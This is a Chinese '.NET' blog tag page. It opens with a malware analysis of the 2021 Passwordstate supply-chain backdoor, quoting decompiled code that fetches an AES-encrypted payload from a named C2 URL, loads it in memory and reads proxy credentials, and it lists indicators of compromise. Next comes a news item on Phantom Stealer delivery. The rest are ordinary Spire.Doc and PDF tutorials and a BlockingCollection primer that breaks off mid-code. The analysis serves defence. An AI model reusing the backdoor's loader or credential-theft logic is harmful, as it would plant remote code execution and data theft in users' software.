标签 .NET 下的文章

2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。


0x00 样本基本信息

先用 Exeinfo PE 扫一眼:

8di90ocrpo.png

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4

虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

xew99ic8ii.png

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│   ├── Container
│   └── Loader
└── Moserware
    ├── Algebra
    ├── Numerics
    └── Security.Cryptography

看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。


0x01 发现后门入口

翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

400tpx4rot.png

Public MustInherit Class Diffuser
    Protected Sub New()
        Container.Running(
            "https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
            "f4f15dddc3ba10dd443493a2a8a526b0",
            7200000,
            "Agent.Agent",
            "Invoke"
        )
    End Sub
End Class

好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。

这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。

作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。


0x02 后门核心逻辑分析

跟进 Loader.Container 类,这才是重头戏。

目标检测

bzgi9q6tjf.png

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
    ' 只在目标进程中执行
End If

只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。

在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

C2 通信

gq4j71r9yz.png

Private Shared Function [Get](u As String, ...) As Byte()
    ' 禁用证书验证,方便中间人
    ServicePointManager.ServerCertificateValidationCallback = Function(...) True

    ' 伪装成 Chrome 浏览器
    httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."

几个关键点:

  1. 禁用 SSL 证书验证 - 攻击者可以随时劫持流量
  2. User-Agent 伪装 - 流量看起来像正常浏览器请求
  3. URL 加时间戳 - 绕过缓存,确保每次都能拿到最新 payload

Payload 解密

96mgurgot1.png

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
    Return New RijndaelManaged() With {
        .Key = Encoding.UTF8.GetBytes(Key),
        .Mode = CipherMode.ECB,
        .Padding = PaddingMode.PKCS7
    }.CreateDecryptor().TransformFinalBlock(...)
End Function

从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:

f4f15dddc3ba10dd443493a2a8a526b0

用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。

凭据窃取彩蛋

翻代码的时候还发现个有意思的函数 GetProxyInfo

virg5nz4ru.png

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"

后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...

而且解密代理密码用的是 Passwordstate 自己的解密函数:

assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)

借刀杀人,妙啊。


0x03 Payload 执行

最后看看 Loader.Loader 类,负责执行下载的 payload:

0e4d92ebe8391cfe9eb199066042cace.png}}

Private Sub ThreadFunc()
    Assembly.Load(Me.assemblyData) _
        .[GetType](Me.assemblyType) _
        .GetMethod(Me.assemblyMethod) _
        .Invoke(Nothing, Nothing)
End Sub

经典的无文件攻击:

  1. Assembly.Load() 直接从内存加载程序集
  2. 通过反射找到指定的类和方法
  3. 调用执行

根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。


0x04 攻击流程总结

Passwordstate 启动
        |
        v
加载 Moserware.SecretSplitter.dll
        |
        v
使用加密功能 -> 实例化 Diffuser 子类
        |
        v
触发构造函数 -> Container.Running()
        |
        v
检测进程名 == "Passwordstate" ?
        |
       YES
        v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
        |
        v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
        |
        v
Assembly.Load() 内存加载
        |
        v
反射调用 Agent.Agent.Invoke()
        |
        v
每 2 小时循环检查更新


0x05 C2 域名分析

后门中硬编码的回连地址:

https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

拆解一下这个域名:

组成部分 说明
passwordstate 伪装成目标软件的官方域名
18ed2 随机字符串,可能用于区分不同攻击批次
kxcdn.com KeyCDN 的 CDN 域名

攻击者用 CDN 来托管恶意 payload 有几个好处:

  1. 隐藏真实服务器 - CDN 背后的源站 IP 不会直接暴露
  2. 提高可用性 - CDN 节点多,不容易被单点屏蔽
  3. 流量伪装 - HTTPS + 知名 CDN 域名,看起来像正常业务流量

事件背景

这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件

  • 时间线: 2021年4月20日 20:33 UTC 至 4月22日 00:30 UTC(约28小时窗口期)
  • 攻击方式: 攻击者入侵了 Passwordstate 的升级服务器,篡改了官方更新包
  • 受影响范围: Passwordstate 被全球约 29,000 家企业使用,包括多家财富500强公司
  • 恶意软件名称: 被安全厂商命名为 Moserpass

攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。


0x06 IOCs 汇总

网络指标:

域名: passwordstate-18ed2.kxcdn.com
URL:  https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

加密密钥:

AES Key: f4f15dddc3ba10dd443493a2a8a526b0

行为特征:

  • 进程名检测: Passwordstate
  • 禁用 SSL 证书验证
  • SQL 查询: SELECT ... FROM [SystemSettings]
  • 内存加载: Assembly.Load() + 反射执行
  • 心跳间隔: 7200000ms (2小时)


一款新型高水准恶意软件攻击活动正利用用户对正规软件的信任实施作恶,将经数字签名的合法 Java 工具变为攻击武器,投放一款极具破坏力的信息窃取恶意软件。威胁情报研究员马诺伊・克希尔萨加尔发现了这一多阶段攻击手段:攻击者以虚假敦豪物流(DHL)发票为诱饵,投放幻影窃取者(Phantom Stealer)v3.5.0—— 这是一款基于.NET 框架的模块化恶意软件,专门用于窃取各类敏感账号凭证。
此次发现揭示出攻击者绕过传统防御体系的危险新趋势:他们采用DLL 侧载技术,将恶意代码隐藏在受信任的正规应用程序中实施攻击。
该攻击以经典的社会工程学手段为开端:攻击者发送伪装成敦豪物流发票的钓鱼垃圾邮件,催促收件人打开邮件中的 ZIP 压缩附件,声称可通过该附件查看发票文档。
而这份压缩包中却暗藏陷阱:里面包含一个经合法数字签名的 Java 工具 jdeps.exe,攻击者将其重命名为 DHL-INVOICE.exe,同时在同目录下植入一个名为 jli.dll 的恶意文件。
当用户点击这个伪装成 “发票” 的可执行文件时,会在不知情的情况下启动这款受信任的 Java 应用。但受 Windows 系统的库文件加载机制影响,该应用会优先加载同目录下的恶意 DLL 文件,而非系统中的正版文件。
克希尔萨加尔在报告中解释道:“攻击者通过 DLL 侧载技术实现恶意代码执行,让受信任的 Java 启动程序加载该恶意 DLL,并将程序执行权移交至 XLoader 加载器。”
一旦伪装成 jli.dll 的 XLoader 加载器被激活,便会通过一系列复杂操作规避检测:它利用经过混淆的状态驱动逻辑解析自身配置信息,并解密最终的恶意载荷。
该加载器并不会直接运行恶意软件,而是采用进程掏空技术:先启动一个合法的微软系统进程 AddInProcess32.exe,随后掏空该进程的内存空间,将恶意代码注入其中。
报告指出:“恶意载荷通过进程掏空技术被注入 AddInProcess32.exe 进程,实现在合法微软进程中执行恶意代码。” 这一手段让恶意软件得以 “明处隐藏”,在安全检测工具中,其进程会显示为常规的微软后台任务,难以被识别。
这一精密攻击链的最终环节,便是幻影窃取者 v3.5.0的投放。该恶意软件是一款 “基于.NET 框架的模块化信息窃取工具,支持凭证盗取与多渠道数据泄露”。
与常规的垃圾邮件攻击不同,此次攻击活动依托经数字签名的合法二进制文件,并采用先进的代码注入技术,攻击手段实现了质的升级。克希尔萨加尔在报告中指出,该攻击行动展现出一套 “成熟且以隐身性为核心的恶意载荷投放链”,专门用于绕过现代终端安全防护系统。
报告还披露了攻击者为保护恶意软件配置信息所采用的加密手段:他们使用CBC 模式的 AES-256 加密算法,并通过 PBKDF2 算法生成加密密钥,对其命令与控制(C2)配置信息进行加密保护。这一高等级的操作安全设计意味着,即便该恶意软件被安全人员截获,若无对应的解密密钥,其内部工作机制也难以被分析破解。

在现代软件开发中,生成文档自动化变得越来越重要。借助像 Spire.Doc for .NET 这样的库,我们可以轻松地在 C# 中创建和操作 Word 文档。本文将介绍如何使用 Spire.Doc 创建一个简单的 Word 文档,涉及到标题、段落等文本元素的添加。

Spire.Doc for .NET 简介

Spire.Doc 是一款功能强大的 .NET 文档处理组件,它允许开发者在 C# 和 VB.NET 中创建、读取、编辑和保存 Word 文档。该库支持多种格式,包括 DOC、DOCX、HTML 和 PDF。用户可以简单地通过代码来控制文档的内容和样式,进而生成满足需求的文档。

NuGet 安装

要在项目中使用 Spire.Doc,你可以通过 NuGet 包管理器轻松安装。只需在命令行中输入以下命令:

Install-Package Spire.Doc

安装完成后,你就可以开始使用 Spire.Doc 创建 Word 文档了。

示例代码

下面的代码示例展示了如何使用 C# 和 Spire.Doc 创建一个包含标题和段落的简单 Word 文档。

using Spire.Doc;
using Spire.Doc.Documents;
using Spire.Doc.Fields;
using System.Drawing;

namespace CreateSimpleWordDocument
{
    class Program
    {
        static void Main(string[] args)
        {
            // 创建Document对象
            Document document = new Document();

            // 添加节
            Section section = document.AddSection();

            // 设置页边距
            section.PageSetup.Margins.All = 60f;

            // 添加一个标题段落
            Paragraph title_para = section.AddParagraph();
            TextRange textRange = title_para.AppendText("这是标题");
            title_para.ApplyStyle(BuiltinStyle.Title);
            textRange.CharacterFormat.FontName = "宋体";

            // 添加几个小标题段落
            string[] headings = { "这是标题1", "这是标题2", "这是标题3", "这是标题4" };
            for (int i = 0; i < headings.Length; i++)
            {
                Paragraph heading = section.AddParagraph();
                textRange = heading.AppendText(headings[i]);
                heading.ApplyStyle((BuiltinStyle)((int)BuiltinStyle.Heading1 + i));
                textRange.CharacterFormat.FontName = "宋体";
            }

            // 添加一个段落
            Paragraph normal_para = section.AddParagraph();
            normal_para.AppendText("这是一个段落。");

            // 创建段落样式
            ParagraphStyle style = new ParagraphStyle(document);
            style.Name = "paraStyle";
            style.CharacterFormat.FontName = "宋体";
            style.CharacterFormat.FontSize = 13f;
            style.CharacterFormat.TextColor = Color.Brown;
            document.Styles.Add(style);

            // 将自定义样式应用到指定段落
            normal_para.ApplyStyle("paraStyle");

            // 保存文档
            document.SaveToFile("AddText.docx", FileFormat.Docx);

            // 释放资源
            document.Dispose();
        }
    }
}

代码详解

  1. 创建 Document 对象 :首先,我们实例化一个 Document 对象,这是文档的核心。
  2. 添加节 :使用 AddSection() 方法,我们可以向文档添加新的节。
  3. 设置页面边距 :使用 PageSetup.Margins 属性可以轻松设置页边距。
  4. 添加标题和段落

    • 我们可以通过 AddParagraph() 方法添加段落,并利用 AppendText() 方法添加文本。
    • Spire.Doc 允许使用内置样式,通过 ApplyStyle() 方法为段落应用不同的样式。
  5. 自定义段落样式 :使用 ParagraphStyle 类,我们可以定义自己的段落样式并应用到段落上。
  6. 保存文档 :最后,我们使用 SaveToFile() 方法将文档保存为 .docx 格式。

更多功能

如果想要了解如何在 Word 文档中添加图片、列表等更复杂的元素,可以参考 Spire.Doc 的在线教程。这些教程涵盖了库的更多先进功能,帮助你更好地掌握文档生成的技术。

结论

通过本文的介绍,你应该能够使用 C# 和 Spire.Doc 创建一个包含基本元素的 Word 文档。无论是生成报告、合同或其他任何文档,Spire.Doc 都提供了丰富的功能,满足各种需求。继续探索更多特性,你将能创建出更加复杂和专业的文档。

在日常企业办公和数据分析中,表格数据的可视化和文档化非常常见。无论是产品销售报表、库存清单,还是项目进度表,通常都会希望将数据直接导出为 Word 文档,以便打印、归档或分发。手动复制粘贴不仅效率低,而且容易出错。借助 C#,我们可以轻松将 DataTable 数据生成格式规范、可自定义样式的 Word 表格,实现自动化办公。

本文将带你完整了解从创建 Word 文档、构建表格、填充数据到保存文档的流程,并重点讲解核心技术细节和关键 API 使用方式。

文中使用的方法需要用到 Free Spire.Doc for .NET,可通过 NuGet 安装:dotnet add package FreeSpire.Doc


核心流程与实现

导出 DataTable 到 Word 文档的流程主要包括以下几个步骤:

  1. 创建 Word 文档对象及章节
  2. 添加文档标题
  3. 校验 DataTable 数据
  4. 构建 Word 表格并设置样式
  5. 填充表头与数据
  6. 保存文档

下面给出完整示例代码(已优化结构和示例数据):

using System;
using System.Data;
using Spire.Doc;
using Spire.Doc.Documents;
using Spire.Doc.Fields;
using System.Drawing;

public class DataTableToWordExporter
{
    public static void ExportDataTableToWord(DataTable dataTable, string filePath)
    {
        // 1. 创建 Word 文档
        Document document = new Document();
        Section section = document.AddSection();

        // 2. 添加文档标题
        Paragraph titlePara = section.AddParagraph();
        titlePara.Format.HorizontalAlignment = HorizontalAlignment.Center;
        TextRange titleText = titlePara.AppendText("月度产品库存报表");
        titleText.CharacterFormat.FontSize = 20;
        titleText.CharacterFormat.Bold = true;

        // 添加空行
        section.AddParagraph().AppendText(Environment.NewLine);

        // 3. 校验 DataTable 数据
        if (dataTable == null || dataTable.Rows.Count == 0)
        {
            section.AddParagraph().AppendText("当前没有可用数据。");
            document.SaveToFile(filePath, FileFormat.Docx);
            Console.WriteLine("数据为空,文档已保存。");
            return;
        }

        // 4. 创建 Word 表格
        Table table = section.AddTable(true);
        table.ResetCells(dataTable.Rows.Count + 1, dataTable.Columns.Count);

        // 设置表格整体样式
        table.TableFormat.Borders.LineWidth = 1;
        table.TableFormat.Borders.BorderType = BorderStyle.Single;
        table.TableFormat.Borders.Color = Color.Black;
        table.PreferredWidth = new PreferredWidth(WidthType.Percentage, 100);
        table.TableFormat.HorizontalAlignment = RowAlignment.Center;

        // 5. 填充表头
        TableRow headerRow = table.Rows[0];
        headerRow.IsHeader = true;
        headerRow.RowFormat.BackColor = Color.LightGray;
        headerRow.RowFormat.Height = 25;
        headerRow.RowFormat.HeightType = TableRowHeightType.Exactly;

        for (int i = 0; i < dataTable.Columns.Count; i++)
        {
            headerRow.Cells[i].CellFormat.VerticalAlignment = VerticalAlignment.Middle;
            Paragraph p = headerRow.Cells[i].AddParagraph();
            p.Format.HorizontalAlignment = HorizontalAlignment.Center;
            TextRange tr = p.AppendText(dataTable.Columns[i].ColumnName);
            tr.CharacterFormat.Bold = true;
            tr.CharacterFormat.FontSize = 11;
        }

        // 6. 填充数据行
        for (int r = 0; r < dataTable.Rows.Count; r++)
        {
            TableRow dataRow = table.Rows[r + 1];
            dataRow.RowFormat.Height = 20;
            dataRow.RowFormat.HeightType = TableRowHeightType.Exactly;

            for (int c = 0; c < dataTable.Columns.Count; c++)
            {
                dataRow.Cells[c].CellFormat.VerticalAlignment = VerticalAlignment.Middle;
                Paragraph p = dataRow.Cells[c].AddParagraph();
                p.Format.HorizontalAlignment = HorizontalAlignment.Center;
                TextRange tr = p.AppendText(dataTable.Rows[r][c].ToString());
                tr.CharacterFormat.FontSize = 10;
            }
        }

        // 7. 保存文档
        try
        {
            document.SaveToFile(filePath, FileFormat.Docx);
            Console.WriteLine($"DataTable 已成功导出到 Word 文档:{filePath}");
        }
        catch (Exception ex)
        {
            Console.WriteLine($"导出 Word 文档时发生错误:{ex.Message}");
        }
    }

    public static void Main()
    {
        // 模拟 DataTable 数据
        DataTable dt = new DataTable("Products");
        dt.Columns.Add("产品ID", typeof(int));
        dt.Columns.Add("产品名称", typeof(string));
        dt.Columns.Add("类别", typeof(string));
        dt.Columns.Add("单价", typeof(decimal));
        dt.Columns.Add("库存量", typeof(int));

        dt.Rows.Add(201, "激光打印机", "办公设备", 3200.00m, 25);
        dt.Rows.Add(202, "办公桌椅套装", "家具", 1800.00m, 15);
        dt.Rows.Add(203, "液晶显示器", "显示设备", 1500.00m, 40);
        dt.Rows.Add(204, "无线键鼠套装", "外设", 250.00m, 100);
        dt.Rows.Add(205, "移动硬盘", "存储设备", 480.00m, 60);

        string outputPath = "ProductInventoryReport.docx";
        ExportDataTableToWord(dt, outputPath);

        // 测试空数据情况
        DataTable emptyDt = new DataTable("Empty");
        emptyDt.Columns.Add("ID");
        ExportDataTableToWord(emptyDt, "EmptyReport.docx");
    }
}

以下是上面代码生成的Word文档:

C#导出DataTable到Word结果文档


核心技术解析

在这个示例中,最关键的技术点如下:

  1. Word 文档对象与章节
    Document document = new Document();
    Section section = document.AddSection();
    使用 Document 对象创建新文档,Section 提供页布局和内容容器。
  2. 表格创建与单元格操作
    Table table = section.AddTable(true);
    table.ResetCells(rows, columns);
    表格的行列数量与 DataTable 对应,单元格填充通过 AddParagraph() + AppendText() 实现。
  3. 表头样式设置
    通过 RowFormat.BackColorRowFormat.HeightTextRange.CharacterFormat 设置字体加粗、字号和单元格背景色,使表格专业美观。
  4. 数据填充与居中对齐
    利用循环遍历 DataTable.RowsDataTable.Columns,将数据逐行写入 Word 单元格,并使用 HorizontalAlignment.CenterVerticalAlignment.Middle 保持表格整齐。
  5. 空数据处理
    在 DataTable 无数据时提供提示并仍保存文档,保证程序稳健性。

核心 API 总结

类 / 属性 / 方法说明
DocumentWord 文档对象,可添加 Section、表格、段落等
Section文档章节容器,承载段落和表格
Section.AddParagraph()添加段落
Section.AddTable(bool)添加表格,参数表示是否自动适应页面宽度
Table.ResetCells(rows, cols)重置表格行列数量
TableRow表格行对象,可设置高度、背景色
TableRow.Cells单元格集合
Paragraph段落对象,可添加文本
Paragraph.AppendText(string)向段落添加文本
TextRange.CharacterFormat设置字体、字号、加粗等文本样式
CellFormat单元格格式,包括垂直对齐等
HorizontalAlignment / VerticalAlignment文本水平/垂直对齐方式
Document.SaveToFile()保存文档,支持 DOCX、PDF 等格式

总结

本文展示了如何使用 C#DataTable 数据导出为 Word 文档,实现表格化展示与自动排版。通过 Spire.Doc,你不仅可以轻松创建文档和章节,还能自动生成格式规范的表格,同时处理空数据情况,保证程序运行的稳健性。在表头样式和数据对齐的控制下,导出的文档既美观又易于阅读。掌握这些技术后,你可以将数据库或 Excel 中的业务数据快速转换为 Word 报表,大幅减少手动操作的时间,同时在企业报表自动化、数据归档和文档生成等场景中提升工作效率和专业性。

更多 Word 文档处理技巧请前往 Spire.Doc 文档中心查看。

在企业日常办公和文档管理中,PDF 已经成为最常用的电子文档格式。无论是财务报表、项目计划,还是合同协议,PDF 都能保证内容在不同平台下的统一显示。然而,当文档页数增加时,页码的缺失或混乱会影响文档的可读性和专业性。

手动为每页添加页码不仅耗时,而且容易出错。对于开发者来说,利用 C# 可以在 .NET 项目中实现自动化页码插入,从而显著提高工作效率,同时保证页码的准确性和格式统一。本文将带你从基础操作到高级定制,完整掌握 PDF 页码自动化的方法。

本文所使用的方法需要用到Free Spire.PDF for .NET,可通过 NuGet 安装:dotnet add package FreeSpire.PDF


2. 加载 PDF 并获取页面信息

在插入页码之前,需要先加载已有的 PDF 文档,并获取页面数量:

using Spire.Pdf;
using Spire.Pdf.Graphics;
using System.Drawing;

string inputFile = "ExistingDocument.pdf";
string outputFile = "DocumentWithPageNumbers.pdf";

// 加载 PDF 文档
PdfDocument doc = new PdfDocument();
doc.LoadFromFile(inputFile);

// 获取总页数
int pageCount = doc.Pages.Count;

在这个阶段,我们已经能够访问文档的每一页,为后续插入页码做准备。


3. 基础页码插入

最简单的页码样式是“第 X 页”,插入到页面底部居中:

for (int i = 0; i < pageCount; i++)
{
    PdfPageBase page = doc.Pages[i];

    PdfFont font = new PdfTrueTypeFont(new Font("宋体", 10f));
    PdfBrush brush = PdfBrushes.Black;

    string pageNumberText = $"第{i + 1}页";

    SizeF textSize = font.MeasureString(pageNumberText);
    float x = (page.Canvas.ClientSize.Width - textSize.Width) / 2;
    float y = page.Canvas.ClientSize.Height - textSize.Height - 10;

    page.Canvas.DrawString(pageNumberText, font, brush, x, y);
}

关键点解析

  • PdfTrueTypeFont 用于设置字体类型和大小
  • MeasureString 用于计算文本宽度,以便实现居中对齐
  • 坐标 (x, y) 控制页码在页面上的精确位置

4. 保存文档

完成页码插入后,记得保存文件并释放资源:

doc.SaveToFile(outputFile);
doc.Close();

经过以上步骤,已有 PDF 文档就成功生成了专业的页码,无需手动操作 PDF 文档。

以下是生成的 PDF 页码效果预览:

C#生成PDF页码


5 页码高级应用与优化策略

自定义页码格式

企业文档通常要求显示“第 X 页,共 Y 页”,或者英文的“Page X of Y”。只需在字符串中格式化即可:

string pageNumberText = $"第{i + 1}页,共{pageCount}页";
// 或者英文格式
// string pageNumberText = $"Page {i + 1} of {pageCount}";

这样可以保证文档在打印或归档时,页码信息清晰且专业。

灵活控制页码位置

页码不仅可以放在底部居中,还可以放在页脚左侧、右侧,甚至页眉区域。通过调整 X、Y 坐标即可实现不同布局:

// 页脚右侧
float xRight = page.Canvas.ClientSize.Width - textSize.Width - 20;
float yBottom = page.Canvas.ClientSize.Height - textSize.Height - 20;
page.Canvas.DrawString(pageNumberText, font, brush, xRight, yBottom);

// 页眉居中
float xTop = (page.Canvas.ClientSize.Width - textSize.Width) / 2;
float yTop = 10;
page.Canvas.DrawString(pageNumberText, font, brush, xTop, yTop);

排除首页或指定页开始

在报告或合同中,封面页通常不显示页码,或页码从第二页开始:

for (int i = 0; i < pageCount; i++)
{
    if (i == 0) continue; // 跳过首页

    PdfPageBase page = doc.Pages[i];
    string pageNumberText = $"第{i}页,共{pageCount - 1}页";
    SizeF textSize = font.MeasureString(pageNumberText);
    float x = (page.Canvas.ClientSize.Width - textSize.Width) / 2;
    float y = page.Canvas.ClientSize.Height - textSize.Height - 15;

    page.Canvas.DrawString(pageNumberText, font, brush, x, y);
}

这样可以灵活应对各种文档排版需求。

更多页码样式设置

页码的字体、字号、颜色可以根据企业品牌或文档风格进行自定义:

PdfTrueTypeFont font = new PdfTrueTypeFont(new Font("Arial", 12f, FontStyle.Bold | FontStyle.Italic));
PdfBrush brush = new PdfSolidBrush(Color.DarkBlue);

结合坐标计算,可以在页面左、中、右随意放置页码,同时保证样式统一。


总结

通过本文的示例,C# 开发者可以轻松为已有 PDF 文档自动添加页码,无需手动操作。代码不仅适用于单页文档,也能处理多页 PDF,并提供了页码样式和位置的灵活控制。这种方法极大提升了办公效率,保证了文档的专业性和规范性,同时也为批量文档处理提供了可靠的技术方案。掌握这一技巧,你可以在财务报表、项目文档、合同协议等各类 PDF 文件中快速生成标准化页码,使文档既清晰又美观。

更多 PDF 文档操作技巧,请前往 Spire.PDF 文档中心查看。

在当今数字化的世界中,PDF(便携式文档格式)已成为文档分享和打印的标准格式。作为开发者,能够通过代码操作和打印 PDF 文档是非常实用的。本文将介绍如何使用 Spire.PDF for .NET 库打印 PDF 文档,详细说明安装步骤以及代码解析,帮助您快速上手。

Spire.PDF for .NET 简介

Spire.PDF for .NET 是一个功能丰富的 PDF 处理库,它使开发者可以在 C# 应用程序中创建、修改和打印 PDF 文件。该库不仅支持基本的 PDF 操作,还提供许多高级功能,如文本和图像提取、PDF 文件合并和安全性设置等。

主要特性

  • 创建和编辑 PDF :支持创建新的 PDF 文档和对现有文档进行编辑。
  • 打印功能 :能够打印 PDF 文档到默认或指定打印机,灵活便捷。
  • 文件转换 :能够将 PDF 文件转换为 Word、Excel 等格式,方便后续的编辑。
  • 安全性 :支持对 PDF 文件进行加密、解密和密码设置,确保文档安全。

安装 Spire.PDF for .NET

要在项目中使用 Spire.PDF,您需要先将其安装。安装的方法有以下两种:

  1. 使用 NuGet 安装

    • 打开 Visual Studio,点击“工具”->“NuGet 包管理器”->“包管理器控制台”。
    • 输入以下命令并运行:

      Install-Package Spire.PDF
  2. 使用 Visual Studio GUI

    • 在解决方案资源管理器中右键点击您的项目,选择“管理 NuGet 包”。
    • 在搜索框中输入“Spire.PDF”,找到并点击安装相关包。

这两种方法都可以将 Spire.PDF 库添加到您的项目中,便于后续使用。

打印 PDF 文档的代码示例

以下是一个简单的 C# 控制台应用程序示例,展示如何打印 PDF 文档:

using Spire.Pdf;

namespace PrintWithDefaultPrinter
{
    class Program
    {
        static void Main(string[] args)
        {
            // 创建一个 PdfDocument 对象
            PdfDocument doc = new PdfDocument();

            // 加载 PDF 文件
            doc.LoadFromFile("C:/Users/Administrator/Desktop/Input.pdf");

            // 设置打印机名称
            doc.PrintSettings.PrinterName = "Your Printer Name";

            // 设置打印页面范围
            doc.PrintSettings.SelectPageRange(1, 5); // 打印第 1 到第 5 页

            // 设置打印份数
            doc.PrintSettings.Copies = 2;

            // 设置为黑白打印
            doc.PrintSettings.Color = false;

            // 检查打印机是否支持双面打印
            if (doc.PrintSettings.CanDuplex)
            {
                doc.PrintSettings.Duplex = Duplex.Default; // 设置为默认双面打印
            }

            // 打印到默认打印机
            doc.Print();

            // 清理资源
            doc.Dispose();
        }
    }
}

代码解析

  • 创建 PdfDocument 对象 :初始化一个新的 PdfDocument 对象,用于加载和操作 PDF 文件。
  • 加载 PDF 文件 :通过 LoadFromFile 方法加载指定路径的 PDF 文件。请确保文件路径正确且文件存在。
  • 设置打印机名称 :使用 PrinterName 属性指定打印机。如果不设置,则文档会打印到默认打印机。
  • 选择打印页码范围 :通过 SelectPageRange 方法指定需要打印的页码范围,例如仅打印前五页。
  • 打印份数和颜色设置 :使用 Copies 属性设置打印份数,同时通过 Color 属性选择是否以彩色打印。设置为 false 表示以黑白打印。
  • 双面打印 :通过 CanDuplex 属性检查打印机是否支持双面打印。如果支持,则设置 Duplex 为默认双面打印选项。
  • 打印到默认打印机 :调用 Print 方法将加载的文档发送到指定的打印机。
  • 资源清理 :使用 Dispose 方法释放所有占用的资源,避免内存泄漏。

总结

使用 Spire.PDF for .NET 打印 PDF 文档是一个简单而强大的解决方案。通过本文中的示例代码和解析,您可以快速上手实现 PDF 文档的打印功能。希望这篇文章能够帮助您更好地利用 C# 进行 PDF 打印开发工作!

简介

BlockingCollection<T>.NET 中非常重要且实用的线程安全、阻塞式的生产者-消费者集合类,位于 System.Collections.Concurrent 命名空间。

BlockingCollection 不是队列,
而是一个“带阻塞语义的并发管道(Blocking Producer–Consumer Abstraction)”。
在并发集合外面,加了一层“阻塞 + 容量控制 + 完成语义”

什么是生产者-消费者模式?

// 生产者线程 → [BlockingCollection] → 消费者线程
// 1. 生产者添加项目,如果集合已满则阻塞等待
// 2. 消费者取出项目,如果集合为空则阻塞等待
// 3. 自动的线程同步和资源管理

核心定位与价值

BlockingCollection<T> 是一个包装器,它可以基于以下几种底层集合来工作(默认使用 ConcurrentQueue<T>):

底层集合类型默认有界(Bounded)特点
ConcurrentQueue<T>可选FIFO,性能最高
ConcurrentStack<T>可选LIFO
ConcurrentBag<T>可选无序,插入/取出最快
自定义 IProducerConsumerCollection<T>可选高度自定义

在多线程场景中,“生产者线程生产数据,消费者线程消费数据” 是高频场景(如日志收集、任务队列、消息处理)。若用普通集合(如List<T>)+ 手动锁实现,需处理:

  • 线程安全(加 lock );
  • 空集合时消费者等待(Monitor.Wait);
  • 满集合时生产者等待(Monitor.Wait);
  • 数据就绪时唤醒等待线程(Monitor.Pulse)。

BlockingCollection<T> 封装了上述所有逻辑,核心价值:

  • 开箱即用的阻塞逻辑:空集合消费阻塞、满集合生产阻塞;
  • 线程安全:所有操作(添加 / 移除 / 遍历)均线程安全;
  • 支持边界限制:可设置集合最大容量(满则阻塞生产者);
  • 支持取消 / 完成:可优雅停止生产 / 消费,避免线程卡死;
  • 灵活的底层存储:默认基于 ConcurrentQueue<T>(先进先出),也可指定 ConcurrentStack<T>/ConcurrentBag<T>

最常用的几种创建方式

// 1. 最常用:无界队列(推荐用于大多数场景)
var bc = new BlockingCollection<string>();

// 2. 有界队列(限制容量,生产者满时会阻塞)
var bcBounded = new BlockingCollection<string>(boundedCapacity: 100);

// 3. 指定底层集合 + 有界
var bcStack = new BlockingCollection<string>(
    new ConcurrentStack<string>(),
    boundedCapacity: 50);

// 4. 基于已有的集合(高级用法)
var queue = new ConcurrentQueue<string>();
var bcFromExisting = new BlockingCollection<string>(queue, 200);

核心 API 与基础使用

核心构造函数

  • BlockingCollection<T>(): 默认构造:无边界限制,底层用 ConcurrentQueue<T>
  • BlockingCollection<T>(int boundedCapacity): 指定最大容量(边界),满则生产者阻塞
  • BlockingCollection<T>(IProducerConsumerCollection<T>): 自定义底层存储(如ConcurrentStack<T>
  • BlockingCollection<T>(IProducerConsumerCollection<T>, int): 自定义存储 + 最大容量

核心方法 / 属性

  • Add(T item): 向集合添加元素:若集合满则阻塞,直到有空间
  • Add(T item, CancellationToken): 带取消令牌的 Add:可中途取消阻塞
  • Take(): 从集合移除并返回元素:若集合空则阻塞,直到有元素
  • Take(CancellationToken): 带取消令牌的 Take:可中途取消阻塞
  • TryAdd(T item, int millisecondsTimeout): 尝试添加:超时返回 false(非阻塞)
  • TryTake(out T item, int millisecondsTimeout): 尝试获取:超时返回 false(非阻塞)
  • CompleteAdding(): 标记 “添加完成”:后续 Add 会抛异常,Take 在集合空后退出
  • IsAddingCompleted: 判断是否已调用 CompleteAdding()
  • IsCompleted: 判断是否 “添加完成且集合为空”
  • BoundedCapacity: 集合最大容量(-1 表示无限制)

核心操作方法

public class CoreOperations
{
    public static void DemonstrateOperations()
    {
        var collection = new BlockingCollection<string>(boundedCapacity: 3);
        
        // 1. 添加项目
